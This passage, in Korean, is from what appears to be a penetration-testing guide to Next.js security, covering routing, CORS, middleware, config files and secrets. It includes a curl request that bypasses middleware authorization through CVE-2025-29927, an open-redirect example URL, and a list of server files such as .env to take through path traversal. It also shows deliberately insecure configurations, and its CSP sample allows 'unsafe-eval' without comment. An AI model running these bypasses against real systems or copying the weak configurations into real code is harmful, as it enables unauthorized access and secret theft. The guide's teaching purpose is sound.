Next.js 13+๋ catch-all ๋ผ์ฐํธ ๋ฐ ์ค์ฒฉ API ๋ผ์ฐํธ์ ๊ฐ์ ๊ณ ๊ธ ๋ผ์ฐํ ๊ธฐ๋ฅ์ ์ง์ํ์ฌ ๋ ๋์ ์ด๊ณ ํ์ฅ ๊ฐ๋ฅํ API ๊ตฌ์กฐ๋ฅผ ๋ง๋ค ์ ์์ต๋๋ค.
Catch-All ๋ผ์ฐํธ ์์:
// app/api/[...slug]/route.js
export async function GET(request, { params }) {
const { slug } = params
// Handle dynamic nested routes
return new Response(JSON.stringify({ slug }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
์ค๋ช :
- ๊ตฌ๋ฌธ:
[...]๋ ๋ชจ๋ ์ค์ฒฉ ๊ฒฝ๋ก๋ฅผ ์บก์ฒํ๋ catch-all ์ธ๊ทธ๋จผํธ๋ฅผ ๋ํ๋ ๋๋ค. - ์ฌ์ฉ: ๋ค์ํ ๊ฒฝ๋ก ๊น์ด๋ ๋์ ์ธ๊ทธ๋จผํธ๋ฅผ ์ฒ๋ฆฌํด์ผ ํ๋ API์ ์ ์ฉํฉ๋๋ค.
์ค์ฒฉ ๋ผ์ฐํธ ์์:
// app/api/posts/[postId]/comments/[commentId]/route.js
export async function GET(request, { params }) {
const { postId, commentId } = params
// Fetch specific comment for a post
return new Response(
JSON.stringify({ postId, commentId, comment: "Great post!" }),
{
status: 200,
headers: { "Content-Type": "application/json" },
}
)
}
์ค๋ช :
- ๊น์ ์ค์ฒฉ: ์์ ๊ด๊ณ๋ฅผ ๋ฐ์ํ๋ ๊ณ์ธต์ API ๊ตฌ์กฐ๋ฅผ ํ์ฉํฉ๋๋ค.
- ํ๋ผ๋ฏธํฐ ์ ๊ทผ:
params๊ฐ์ฒด๋ฅผ ํตํด ์ฌ๋ฌ ๋ผ์ฐํธ ํ๋ผ๋ฏธํฐ์ ์ฝ๊ฒ ์ ๊ทผํ ์ ์์ต๋๋ค.
Next.js 12 ์ด์ ์์์ API ๋ผ์ฐํธ ์ฒ๋ฆฌ
pages ๋๋ ํฐ๋ฆฌ์ API ๋ผ์ฐํธ (Next.js 12 ๋ฐ ์ด์ )
Next.js 13์ด app ๋๋ ํฐ๋ฆฌ์ ํฅ์๋ ๋ผ์ฐํ
๊ธฐ๋ฅ์ ๋์
ํ๊ธฐ ์ ์๋, API ๋ผ์ฐํธ๋ ์ฃผ๋ก pages ๋๋ ํฐ๋ฆฌ ๋ด์์ ์ ์๋์์ต๋๋ค. ์ด ๋ฐฉ์์ Next.js 12 ๋ฐ ์ด์ ๋ฒ์ ์์ ์ฌ์ ํ ๋๋ฆฌ ์ฌ์ฉ๋๊ณ ์ง์๋ฉ๋๋ค.
๊ธฐ๋ณธ API ๋ผ์ฐํธ
ํ์ผ ๊ตฌ์กฐ:
goCopy codemy-nextjs-app/
โโโ pages/
โ โโโ api/
โ โโโ hello.js
โโโ package.json
โโโ ...
๊ตฌํ:
javascriptCopy code// pages/api/hello.js
export default function handler(req, res) {
res.status(200).json({ message: 'Hello, World!' });
}
์ค๋ช :
- ์์น: API ๋ผ์ฐํธ๋
pages/api/๋๋ ํฐ๋ฆฌ ์๋์ ์์ต๋๋ค. - ๋ด๋ณด๋ด๊ธฐ:
export default๋ฅผ ์ฌ์ฉํ์ฌ ํธ๋ค๋ฌ ํจ์๋ฅผ ์ ์ํฉ๋๋ค. - ํจ์ ์๊ทธ๋์ฒ: ํธ๋ค๋ฌ๋
req(HTTP ์์ฒญ) ๋ฐres(HTTP ์๋ต) ๊ฐ์ฒด๋ฅผ ๋ฐ์ต๋๋ค. - ๋ผ์ฐํ
: ํ์ผ ์ด๋ฆ (
hello.js)์ ์๋ํฌ์ธํธ/api/hello์ ๋งคํ๋ฉ๋๋ค.
๋์ API ๋ผ์ฐํธ
ํ์ผ ๊ตฌ์กฐ:
bashCopy codemy-nextjs-app/
โโโ pages/
โ โโโ api/
โ โโโ users/
โ โโโ [id].js
โโโ package.json
โโโ ...
๊ตฌํ:
javascriptCopy code// pages/api/users/[id].js
export default function handler(req, res) {
const {
query: { id },
method,
} = req;
switch (method) {
case 'GET':
// Fetch user data based on 'id'
res.status(200).json({ userId: id, name: 'John Doe' });
break;
case 'PUT':
// Update user data based on 'id'
res.status(200).json({ message: `User ${id} updated.` });
break;
case 'DELETE':
// Delete user based on 'id'
res.status(200).json({ message: `User ${id} deleted.` });
break;
default:
res.setHeader('Allow', ['GET', 'PUT', 'DELETE']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}
์ค๋ช :
- ๋์ ์ธ๊ทธ๋จผํธ: ๋๊ดํธ (
[id].js)๋ ๋์ ๋ผ์ฐํธ ์ธ๊ทธ๋จผํธ๋ฅผ ๋ํ๋ ๋๋ค. - ๋งค๊ฐ๋ณ์ ์ ๊ทผ: ๋์ ๋งค๊ฐ๋ณ์์ ์ ๊ทผํ๋ ค๋ฉด
req.query.id๋ฅผ ์ฌ์ฉํ์ธ์. - ๋ฉ์๋ ์ฒ๋ฆฌ: ์กฐ๊ฑด๋ฌธ์ ์ฌ์ฉํ์ฌ ์๋ก ๋ค๋ฅธ HTTP ๋ฉ์๋(
GET,PUT,DELETE, ๋ฑ)๋ฅผ ์ฒ๋ฆฌํ์ธ์.
์๋ก ๋ค๋ฅธ HTTP ๋ฉ์๋ ์ฒ๋ฆฌ
๊ธฐ๋ณธ API ๋ผ์ฐํธ ์์ ๋ ๋จ์ผ ํจ์ ๋ด์์ ๋ชจ๋ HTTP ๋ฉ์๋๋ฅผ ์ฒ๋ฆฌํ์ง๋ง, ๊ฐ๋ ์ฑ๊ณผ ์ ์ง๋ณด์์ฑ์ ์ํด ๊ฐ ๋ฉ์๋๋ฅผ ๋ช ์์ ์ผ๋ก ์ฒ๋ฆฌํ๋๋ก ์ฝ๋๋ฅผ ๊ตฌ์กฐํํ ์ ์์ต๋๋ค.
์์:
javascriptCopy code// pages/api/posts.js
export default async function handler(req, res) {
const { method } = req;
switch (method) {
case 'GET':
// Handle GET request
res.status(200).json({ message: 'Fetching posts.' });
break;
case 'POST':
// Handle POST request
res.status(201).json({ message: 'Post created.' });
break;
default:
res.setHeader('Allow', ['GET', 'POST']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}
๋ชจ๋ฒ ์ฌ๋ก:
- Separation of Concerns: ๋ค๋ฅธ HTTP ๋ฉ์๋์ ๋ํ ๋ก์ง์ ๋ช ํํ ๋ถ๋ฆฌํ์ธ์.
- Response Consistency: ํด๋ผ์ด์ธํธ ์ธก ์ฒ๋ฆฌ๋ฅผ ์ฝ๊ฒ ํ๊ธฐ ์ํด ์ผ๊ด๋ ์๋ต ๊ตฌ์กฐ๋ฅผ ์ ์งํ์ธ์.
- Error Handling: ์ง์๋์ง ์๋ ๋ฉ์๋์ ์๊ธฐ์น ์์ ์ค๋ฅ๋ฅผ ์ฐ์ํ๊ฒ ์ฒ๋ฆฌํ์ธ์.
CORS ๊ตฌ์ฑ
์ด๋ค ์ถ์ฒ๊ฐ API ๊ฒฝ๋ก์ ์ ๊ทผํ ์ ์๋์ง ์ ์ดํ์ฌ Cross-Origin Resource Sharing (CORS) ์ทจ์ฝ์ ์ ์ํํ์ธ์.
์๋ชป๋ ๊ตฌ์ฑ ์์:
// app/api/data/route.js
export async function GET(request) {
return new Response(JSON.stringify({ data: "Public Data" }), {
status: 200,
headers: {
"Access-Control-Allow-Origin": "*", // Allows any origin
"Access-Control-Allow-Methods": "GET, POST, PUT, DELETE",
},
})
}
์ฐธ๊ณ ๋ก CORS๋ ๋ชจ๋ API routes์์๋ ๊ตฌ์ฑํ ์ ์์ต๋๋ค โ middleware.ts ํ์ผ ์์์:
// app/middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"
export function middleware(request: NextRequest) {
const allowedOrigins = [
"https://yourdomain.com",
"https://sub.yourdomain.com",
]
const origin = request.headers.get("Origin")
const response = NextResponse.next()
if (allowedOrigins.includes(origin || "")) {
response.headers.set("Access-Control-Allow-Origin", origin || "")
response.headers.set(
"Access-Control-Allow-Methods",
"GET, POST, PUT, DELETE, OPTIONS"
)
response.headers.set(
"Access-Control-Allow-Headers",
"Content-Type, Authorization"
)
// If credentials are needed:
// response.headers.set('Access-Control-Allow-Credentials', 'true');
}
// Handle preflight requests
if (request.method === "OPTIONS") {
return new Response(null, {
status: 204,
headers: response.headers,
})
}
return response
}
export const config = {
matcher: "/api/:path*", // Apply to all API routes
}
๋ฌธ์ :
Access-Control-Allow-Origin: '*': ๋ชจ๋ ์น์ฌ์ดํธ๊ฐ API์ ์ ๊ทผํ ์ ์๋๋ก ํ์ฉํ์ฌ, ์ ์์ ์ธ ์ฌ์ดํธ๊ฐ ์ ํ ์์ด API์ ์ํธ์์ฉํ ๊ฐ๋ฅ์ฑ์ ๋ง๋ญ๋๋ค.- ๊ด๋ฒ์ํ ๋ฉ์๋ ํ์ฉ: ๋ชจ๋ ๋ฉ์๋๋ฅผ ํ์ฉํ๋ฉด ๊ณต๊ฒฉ์๊ฐ ์์น ์๋ ๋์์ ์ํํ ์ ์์ต๋๋ค.
๊ณต๊ฒฉ์๊ฐ ์ด๋ฅผ ์ ์ฉํ๋ ๋ฐฉ๋ฒ:
๊ณต๊ฒฉ์๋ ์ ์์ ์ธ ์น์ฌ์ดํธ๋ฅผ ๋ง๋ค์ด API์ ์์ฒญ์ ๋ณด๋ด๊ณ , ๋ฐ์ดํฐ ์กฐํ, ๋ฐ์ดํฐ ์กฐ์ ๋๋ ์ธ์ฆ๋ ์ฌ์ฉ์ ๋์ ์์น ์๋ ๋์์ ์ ๋ฐํ๋ ๋ฑ์ ๊ธฐ๋ฅ์ ์ ์ฉํ ์ ์์ต๋๋ค.
CORS - Misconfigurations & Bypass
Server code exposure in Client Side
์๋ฒ์์ ์ฌ์ฉํ๋ ์ฝ๋๋ฅผ ํด๋ผ์ด์ธํธ ์ธก์ ๋ ธ์ถ๋ ์ฝ๋์์๋ ์ฝ๊ฒ ์ฌ์ฉํ ์ ์์ต๋๋ค. ํน์ ์ฝ๋ ํ์ผ์ด ํด๋ผ์ด์ธํธ ์ธก์ ์ ๋ ๋ ธ์ถ๋์ง ์๋๋ก ๋ณด์ฅํ๋ ๊ฐ์ฅ ์ข์ ๋ฐฉ๋ฒ์ ํ์ผ ๋งจ ์์ ๋ค์ import๋ฅผ ์ฌ์ฉํ๋ ๊ฒ์ ๋๋ค:
import "server-only"
์ฃผ์ ํ์ผ๊ณผ ๊ทธ ์ญํ
middleware.ts / middleware.js
์์น: ํ๋ก์ ํธ์ ๋ฃจํธ ๋๋ src/ ๋ด.
๋ชฉ์ : ์์ฒญ์ด ์ฒ๋ฆฌ๋๊ธฐ ์ ์ ์๋ฒ ์ธก serverless ํจ์์์ ์ฝ๋๋ฅผ ์คํํ์ฌ ์ธ์ฆ, ๋ฆฌ๋๋ ์ ๋๋ ์๋ต ์์ ๊ณผ ๊ฐ์ ์์ ์ ์ํํ ์ ์๋๋ก ํฉ๋๋ค.
์คํ ํ๋ฆ:
- ์์ ์์ฒญ: ๋ฏธ๋ค์จ์ด๊ฐ ์์ฒญ์ ๊ฐ๋ก์ฑ๋๋ค.
- ์ฒ๋ฆฌ: ์์ฒญ์ ๋ฐ๋ผ ์์ ์ ์ํํฉ๋๋ค(์: ์ธ์ฆ ํ์ธ).
- ์๋ต ์์ : ์๋ต์ ๋ณ๊ฒฝํ๊ฑฐ๋ ๋ค์ ํธ๋ค๋ฌ์ ์ ์ด๋ฅผ ๋๊ธธ ์ ์์ต๋๋ค.
์์ ์ฌ์ฉ ์ฌ๋ก:
- ์ธ์ฆ๋์ง ์์ ์ฌ์ฉ์๋ฅผ ๋ฆฌ๋๋ ์ .
- ์ฌ์ฉ์ ์ ์ ํค๋ ์ถ๊ฐ.
- ์์ฒญ ๋ก๊น .
์ํ ๊ตฌ์ฑ:
// middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"
export function middleware(req: NextRequest) {
const url = req.nextUrl.clone()
if (!req.cookies.has("token")) {
url.pathname = "/login"
return NextResponse.redirect(url)
}
return NextResponse.next()
}
export const config = {
matcher: ["/protected/:path*"],
}
Middleware authorization bypass (CVE-2025-29927)
middleware์์ authorization์ด ์ ์ฉ๋ ๊ฒฝ์ฐ, ์ํฅ์ ๋ฐ๋ Next.js ๋ฆด๋ฆฌ์ค (<12.3.5 / 13.5.9 / 14.2.25 / 15.2.3)๋ x-middleware-subrequest ํค๋๋ฅผ ์ฃผ์
ํ์ฌ bypassํ ์ ์์ต๋๋ค. ํ๋ ์์ํฌ๋ middleware recursion์ ๊ฑด๋๋ฐ๊ณ ๋ณดํธ๋ ํ์ด์ง๋ฅผ ๋ฐํํฉ๋๋ค.
- ๊ธฐ๋ณธ ๋์์ ์ผ๋ฐ์ ์ผ๋ก
/api/auth/signin๊ฐ์ ๋ก๊ทธ์ธ ๊ฒฝ๋ก๋ก์ 307 redirect์ ๋๋ค. - ๊ธด
x-middleware-subrequest๊ฐ์ ์ ์ก(middleware๋ฅผ ๋ฐ๋ณตํดMAX_RECURSION_DEPTH์ ๋๋ฌ)ํ๋ฉด ์๋ต ์ํ๋ฅผ 200์ผ๋ก ๋ฐ๊ฟ ์ ์์ต๋๋ค:
curl -i "http://target/docs" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
- ์ธ์ฆ๋ ํ์ด์ง๊ฐ ๋ง์ ํ์ ๋ฆฌ์์ค๋ฅผ ๋ถ๋ฌ์ค๊ธฐ ๋๋ฌธ์, ์์ฐ์ด ๋ฆฌ๋๋ ์ ๋๋ ๊ฒ์ ๋ฐฉ์งํ๋ ค๋ฉด ๋ชจ๋ ์์ฒญ์ ํค๋๋ฅผ ์ถ๊ฐํ์ธ์(์: Burp Match/Replace์์ ๋น match ๋ฌธ์์ด ์ฌ์ฉ).
next.config.js
Location: ํ๋ก์ ํธ ๋ฃจํธ.
Purpose: Next.js ๋์์ ๊ตฌ์ฑํ๋ฉฐ, ๊ธฐ๋ฅ ํ์ฑ/๋นํ์ฑํ, webpack ๊ตฌ์ฑ ์ปค์คํฐ๋ง์ด์ง, ํ๊ฒฝ ๋ณ์ ์ค์ ๋ฐ ์ฌ๋ฌ ๋ณด์ ๊ธฐ๋ฅ์ ๊ตฌ์ฑํฉ๋๋ค.
Key Security Configurations:
๋ณด์ ํค๋
๋ณด์ ํค๋๋ ๋ธ๋ผ์ฐ์ ๊ฐ ์ฝํ ์ธ ๋ฅผ ์ฒ๋ฆฌํ๋ ๋ฐฉ์์ ์ง์ํ์ฌ ์ ํ๋ฆฌ์ผ์ด์ ์ ๋ณด์์ ๊ฐํํฉ๋๋ค. ์ด๋ Cross-Site Scripting (XSS), Clickjacking, MIME type sniffing๊ณผ ๊ฐ์ ๋ค์ํ ๊ณต๊ฒฉ์ ์ํํ๋ ๋ฐ ๋์์ ์ค๋๋ค:
- Content Security Policy (CSP)
- X-Frame-Options
- X-Content-Type-Options
- Strict-Transport-Security (HSTS)
- Referrer Policy
์์:
// next.config.js
module.exports = {
async headers() {
return [
{
source: "/(.*)", // Apply to all routes
headers: [
{
key: "X-Frame-Options",
value: "DENY",
},
{
key: "Content-Security-Policy",
value:
"default-src *; script-src 'self' 'unsafe-inline' 'unsafe-eval';",
},
{
key: "X-Content-Type-Options",
value: "nosniff",
},
{
key: "Strict-Transport-Security",
value: "max-age=63072000; includeSubDomains; preload", // Enforces HTTPS
},
{
key: "Referrer-Policy",
value: "no-referrer", // Completely hides referrer
},
// Additional headers...
],
},
]
},
}
์ด๋ฏธ์ง ์ต์ ํ ์ค์
Next.js๋ ์ฑ๋ฅ์ ์ํด ์ด๋ฏธ์ง๋ฅผ ์ต์ ํํ์ง๋ง, ์๋ชป๋ ๊ตฌ์ฑ์ ์ ๋ขฐํ ์ ์๋ ์์ค๊ฐ ์ ์ฑ ์ฝํ ์ธ ๋ฅผ ์ฃผ์ ํ๋๋ก ํ์ฉํ๋ ๋ฑ ๋ณด์ ์ทจ์ฝ์ ์ผ๋ก ์ด์ด์ง ์ ์์ต๋๋ค.
์๋ชป๋ ๊ตฌ์ฑ ์์:
// next.config.js
module.exports = {
images: {
domains: ["*"], // Allows images from any domain
},
}
๋ฌธ์ :
'*': ์ธ๋ถ์ ๋ชจ๋ ์ถ์ฒ์์ ์ด๋ฏธ์ง๋ฅผ ๋ก๋ํ ์ ์๋๋ก ํ์ฉํฉ๋๋ค(์ ๋ขฐํ ์ ์๊ฑฐ๋ ์ ์์ ์ธ ๋๋ฉ์ธ ํฌํจ). ๊ณต๊ฒฉ์๋ ์ ์ฑ ํ์ด๋ก๋๋ฅผ ํฌํจํ ์ด๋ฏธ์ง๋ ์ฌ์ฉ์๋ฅผ ์ค๋ํ๋ ์ฝํ ์ธ ๋ฅผ ํธ์คํ ํ ์ ์์ต๋๋ค.- ๋ ๋ค๋ฅธ ๋ฌธ์ ๋ ๋ชจ๋๊ฐ ์ด๋ฏธ์ง๋ฅผ ์
๋ก๋ํ ์ ์๋ ๋๋ฉ์ธ(์:
raw.githubusercontent.com)์ ํ์ฉํ๋ ๊ฒ์ ๋๋ค.
ํ๊ฒฝ ๋ณ์ ๋ ธ์ถ
ํด๋ผ์ด์ธํธ์ ๋ ธ์ถํ์ง ์๋๋ก API keys ๋ฐ database credentials ๊ฐ์ ๋ฏผ๊ฐํ ์ ๋ณด๋ฅผ ์์ ํ๊ฒ ๊ด๋ฆฌํ์ธ์.
a. ๋ฏผ๊ฐํ ๋ณ์ ๋ ธ์ถ
์๋ชป๋ ๊ตฌ์ฑ ์์:
// next.config.js
module.exports = {
env: {
SECRET_API_KEY: process.env.SECRET_API_KEY, // Exposed to the client
NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, // Correctly prefixed for client
},
}
๋ฌธ์ :
SECRET_API_KEY:NEXT_PUBLIC_์ ๋์ฌ๊ฐ ์์ผ๋ฉด Next.js๋ ๋ณ์๋ฅผ ํด๋ผ์ด์ธํธ์ ๋ ธ์ถํ์ง ์์ต๋๋ค. ํ์ง๋ง ์ค์๋ก ์ ๋์ฌ๋ฅผ ๋ถ์ด๋ฉด(์:NEXT_PUBLIC_SECRET_API_KEY) ํด๋ผ์ด์ธํธ ์ธก์์ ์ ๊ทผํ ์ ์๊ฒ ๋ฉ๋๋ค.
๊ณต๊ฒฉ์๊ฐ ์ ์ฉํ๋ ๋ฐฉ๋ฒ:
๋ฏผ๊ฐํ ๋ณ์๊ฐ ํด๋ผ์ด์ธํธ์ ๋ ธ์ถ๋๋ฉด, ๊ณต๊ฒฉ์๋ ํด๋ผ์ด์ธํธ ์ธก ์ฝ๋๋ ๋คํธ์ํฌ ์์ฒญ์ ์กฐ์ฌํด ์ด๋ฅผ ํ๋ํ๊ณ API, ๋ฐ์ดํฐ๋ฒ ์ด์ค ๋๋ ๊ธฐํ ์๋น์ค์ ๋ฌด๋จ์ผ๋ก ์ ๊ทผํ ์ ์์ต๋๋ค.
Redirects
์ ํ๋ฆฌ์ผ์ด์ ๋ด์์ URL redirections ๋ฐ rewrites๋ฅผ ๊ด๋ฆฌํ์ฌ ์ฌ์ฉ์๊ฐ ์ ์ ํ ์ด๋ํ๋๋ก ํ๋ open redirect vulnerabilities๋ฅผ ์ ๋ฐํ์ง ์๋๋ก ํ์ธ์.
a. Open Redirect Vulnerability
์๋ชป๋ ๊ตฌ์ฑ ์์:
// next.config.js
module.exports = {
async redirects() {
return [
{
source: "/redirect",
destination: (req) => req.query.url, // Dynamically redirects based on query parameter
permanent: false,
},
]
},
}
๋ฌธ์ :
- ๋์ ๋ชฉ์ ์ง: ์ฌ์ฉ์๊ฐ ์์์ URL์ ์ง์ ํ ์ ์๊ฒ ํ์ฌ open redirect attacks๋ฅผ ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค.
- ์ฌ์ฉ์ ์ ๋ ฅ ์ ๋ขฐ: ๊ฒ์ฆ ์์ด ์ฌ์ฉ์๊ฐ ์ ๊ณตํ URL๋ก ๋ฆฌ๋๋ ์ ํ๋ฉด phishing, malware distribution, ๋๋ credential theft๋ก ์ด์ด์ง ์ ์์ต๋๋ค.
๊ณต๊ฒฉ์๊ฐ ์ด๋ฅผ ์ ์ฉํ๋ ๋ฐฉ๋ฒ:
๊ณต๊ฒฉ์๋ ๋๋ฉ์ธ์์ ์์ํ ๊ฒ์ฒ๋ผ ๋ณด์ด์ง๋ง ์ฌ์ฉ์๋ฅผ ์ ์ฑ ์ฌ์ดํธ๋ก ๋ฆฌ๋๋ ์ ํ๋ URL์ ์์ฑํ ์ ์์ต๋๋ค. ์๋ฅผ ๋ค๋ฉด:
https://yourdomain.com/redirect?url=https://malicious-site.com
์๋ ๋๋ฉ์ธ์ ์ ๋ขฐํ๋ ์ฌ์ฉ์๊ฐ ์๋์น ์๊ฒ ์ ์ฑ ์น์ฌ์ดํธ๋ก ์ด๋ํ ์ ์์ต๋๋ค.
Webpack ๊ตฌ์ฑ
Next.js ์ ํ๋ฆฌ์ผ์ด์ ์ Webpack ๊ตฌ์ฑ์ ์ฌ์ฉ์ํํ๋ฉด, ์ฃผ์ํ์ง ์์ผ๋ฉด ์๋์น ์๊ฒ ๋ณด์ ์ทจ์ฝ์ ์ด ๋์ ๋ ์ ์์ต๋๋ค.
a. ๋ฏผ๊ฐํ ๋ชจ๋ ๋ ธ์ถ
์๋ชป๋ ๊ตฌ์ฑ ์:
// next.config.js
module.exports = {
webpack: (config, { isServer }) => {
if (!isServer) {
config.resolve.alias["@sensitive"] = path.join(__dirname, "secret-folder")
}
return config
},
}
๋ฌธ์ :
- ๋ ธ์ถ๋ ๋ฏผ๊ฐํ ๊ฒฝ๋ก: ๋ฏผ๊ฐํ ๋๋ ํฐ๋ฆฌ๋ฅผ alias ์ฒ๋ฆฌํ๊ณ ํด๋ผ์ด์ธํธ ์ธก ์ ๊ทผ์ ํ์ฉํ๋ฉด ๊ธฐ๋ฐ ์ ๋ณด๊ฐ leak๋ ์ ์์ต๋๋ค.
- ๋น๋ฐ ๋ฒ๋ค๋ง: ๋ฏผ๊ฐํ ํ์ผ์ด ํด๋ผ์ด์ธํธ์ฉ์ผ๋ก ๋ฒ๋ค๋ง๋๋ฉด, ๊ทธ ๋ด์ฉ์ source maps๋ฅผ ํตํด ๋๋ ํด๋ผ์ด์ธํธ ์ธก ์ฝ๋๋ฅผ ๊ฒ์ฌํ์ฌ ์ ๊ทผ ๊ฐ๋ฅํด์ง๋๋ค.
๊ณต๊ฒฉ์๊ฐ ์ด๋ฅผ ์ ์ฉํ๋ ๋ฐฉ๋ฒ:
๊ณต๊ฒฉ์๋ ์ ํ๋ฆฌ์ผ์ด์ ์ ๋๋ ํฐ๋ฆฌ ๊ตฌ์กฐ์ ์ ๊ทผํ๊ฑฐ๋ ์ด๋ฅผ ์ฌ๊ตฌ์ฑํ์ฌ ๋ฏผ๊ฐํ ํ์ผ์ด๋ ๋ฐ์ดํฐ๋ฅผ ์ฐพ์ ์ ์ฉํ ์ ์์ต๋๋ค.
pages/_app.js and pages/_document.js
pages/_app.js
๋ชฉ์ : ๊ธฐ๋ณธ App ์ปดํฌ๋ํธ๋ฅผ ์ค๋ฒ๋ผ์ด๋ํ์ฌ ์ ์ญ ์ํ, ์คํ์ผ ๋ฐ ๋ ์ด์์ ์ปดํฌ๋ํธ๋ฅผ ์ฌ์ฉํ ์ ์๊ฒ ํฉ๋๋ค.
์ฌ์ฉ ์ฌ๋ก:
- ์ ์ญ CSS ์ฃผ์ .
- ๋ ์ด์์ ๋ํผ ์ถ๊ฐ.
- ์ํ ๊ด๋ฆฌ ๋ผ์ด๋ธ๋ฌ๋ฆฌ ํตํฉ.
์์:
// pages/_app.js
import "../styles/globals.css"
function MyApp({ Component, pageProps }) {
return <Component {...pageProps} />
}
export default MyApp
pages/_document.js
๋ชฉ์ : ๊ธฐ๋ณธ Document๋ฅผ ์ค๋ฒ๋ผ์ด๋ํ์ฌ <html> ๋ฐ <body> ํ๊ทธ๋ฅผ ์ปค์คํฐ๋ง์ด์งํ ์ ์๊ฒ ํฉ๋๋ค.
์ฌ์ฉ ์ฌ๋ก:
<html>๋๋<body>ํ๊ทธ ์์ .- ๋ฉํ ํ๊ทธ ๋๋ ์ปค์คํ ์คํฌ๋ฆฝํธ ์ถ๊ฐ.
- ํ์ฌ ํฐํธ ํตํฉ.
์์:
// pages/_document.js
import Document, { Html, Head, Main, NextScript } from "next/document"
class MyDocument extends Document {
render() {
return (
<Html lang="en">
<Head>{/* Custom fonts or meta tags */}</Head>
<body>
<Main />
<NextScript />
</body>
</Html>
)
}
}
export default MyDocument
์ปค์คํ ์๋ฒ (์ ํ ์ฌํญ)
๋ชฉ์ : Next.js๋ ๋ด์ฅ ์๋ฒ๋ฅผ ์ ๊ณตํ์ง๋ง, ๋ง์ถค ๋ผ์ฐํ ์ด๋ ๊ธฐ์กด ๋ฐฑ์๋ ์๋น์ค์์ ํตํฉ๊ณผ ๊ฐ์ ๊ณ ๊ธ ์ฌ์ฉ ์ฌ๋ก๋ฅผ ์ํด ์ปค์คํ ์๋ฒ๋ฅผ ๋ง๋ค ์ ์์ต๋๋ค.
์ฐธ๊ณ : ์ปค์คํ ์๋ฒ๋ฅผ ์ฌ์ฉํ๋ฉด ๋ฐฐํฌ ์ต์ ์ด ์ ํ๋ ์ ์์ผ๋ฉฐ, ํนํ Next.js์ ๋ด์ฅ ์๋ฒ์ ์ต์ ํ๋ Vercel๊ณผ ๊ฐ์ ํ๋ซํผ์์๋ ์ ์ฝ์ด ๋ฐ์ํฉ๋๋ค.
์์:
// server.js
const express = require("express")
const next = require("next")
const dev = process.env.NODE_ENV !== "production"
const app = next({ dev })
const handle = app.getRequestHandler()
app.prepare().then(() => {
const server = express()
// Custom route
server.get("/a", (req, res) => {
return app.render(req, res, "/a")
})
// Default handler
server.all("*", (req, res) => {
return handle(req, res)
})
server.listen(3000, (err) => {
if (err) throw err
console.log("> Ready on http://localhost:3000")
})
})
์ถ๊ฐ ์ํคํ ์ฒ ๋ฐ ๋ณด์ ๊ณ ๋ ค์ฌํญ
ํ๊ฒฝ ๋ณ์ ๋ฐ ๊ตฌ์ฑ
๋ชฉ์ : ๋ฏผ๊ฐํ ์ ๋ณด์ ๊ตฌ์ฑ ์ค์ ์ ์ฝ๋๋ฒ ์ด์ค ์ธ๋ถ์์ ๊ด๋ฆฌํฉ๋๋ค.
๋ชจ๋ฒ ์ฌ๋ก:
.envํ์ผ ์ฌ์ฉ: API ํค ๊ฐ์ ๋ณ์๋.env.local์ ์ ์ฅํ์ธ์ (๋ฒ์ ๊ด๋ฆฌ์์ ์ ์ธ).- ๋ณ์์ ์์ ํ๊ฒ ์ ๊ทผ:
process.env.VARIABLE_NAME๋ฅผ ์ฌ์ฉํด ํ๊ฒฝ ๋ณ์๋ฅผ ๋ถ๋ฌ์ต๋๋ค. - ํด๋ผ์ด์ธํธ์ ๋น๋ฐ์ ๋ ธ์ถํ์ง ๋ง์ธ์: ๋ฏผ๊ฐํ ๋ณ์๋ ์๋ฒ ์ธก์์๋ง ์ฌ์ฉ๋๋๋ก ํ์ธ์.
์์:
// next.config.js
module.exports = {
env: {
API_KEY: process.env.API_KEY, // Accessible on both client and server
SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client
},
}
Note: ์๋ฒ ์ธก ์ ์ฉ์ผ๋ก ๋ณ์๋ฅผ ์ ํํ๋ ค๋ฉด env ๊ฐ์ฒด์์ ์ด๋ฅผ ์๋ตํ๊ฑฐ๋ ํด๋ผ์ด์ธํธ ๋
ธ์ถ์ ์ํด NEXT_PUBLIC_๋ก ์ ๋์ฌ๋ฅผ ๋ถ์ด์ธ์.
LFI/download ์๋ํฌ์ธํธ๋ฅผ ํตํด ๋ ธ๋ฆด ์ ์๋ ์ ์ฉํ ์๋ฒ ์ํฐํฉํธ
Next.js ์ฑ์์ path traversal ๋๋ download API๋ฅผ ๋ฐ๊ฒฌํ๋ฉด, ์๋ฒ ์ธก ๋น๋ฐ ๋ฐ ์ธ์ฆ ๋ก์ง์ leakํ๋ ์ปดํ์ผ๋ ์ํฐํฉํธ๋ฅผ ๋์์ผ๋ก ํ์ธ์:
.env/.env.localโ ์ธ์ ์ํฌ๋ฆฟ๊ณผ ํ๋ก๋ฐ์ด๋ ์๊ฒฉ์ฆ๋ช ..next/routes-manifest.json๋ฐ.next/build-manifest.jsonโ ์ ์ฒด ๋ผ์ฐํธ ๋ชฉ๋ก ํ์ธ์ฉ..next/server/pages/api/auth/[...nextauth].jsโ ์ปดํ์ผ๋ NextAuth ์ค์ ์ ๋ณต๊ตฌํ๊ธฐ ์ํจ (์ข ์ขprocess.env๊ฐ์ด ์ค์ ๋์ง ์์์ ๋ ๋์ฒด ๋น๋ฐ๋ฒํธ๊ฐ ํฌํจ๋์ด ์์).next.config.js/next.config.mjsโ rewrites, redirects ๋ฐ middleware ๋ผ์ฐํ ์ ๊ฒํ ํ๊ธฐ ์ํด.
์ธ์ฆ ๋ฐ ๊ถํ ๋ถ์ฌ
์ ๊ทผ ๋ฐฉ์:
- ์ธ์ ๊ธฐ๋ฐ ์ธ์ฆ (Session-Based Authentication): ์ฟ ํค๋ฅผ ์ฌ์ฉํ์ฌ ์ฌ์ฉ์ ์ธ์ ์ ๊ด๋ฆฌํ์ธ์.
- ํ ํฐ ๊ธฐ๋ฐ ์ธ์ฆ (Token-Based Authentication): ๋ฌด์ํ(stateless) ์ธ์ฆ์ ์ํด JWT๋ฅผ ๊ตฌํํ์ธ์.
- ํ์ฌ ์ ๊ณต์ (Third-Party Providers):
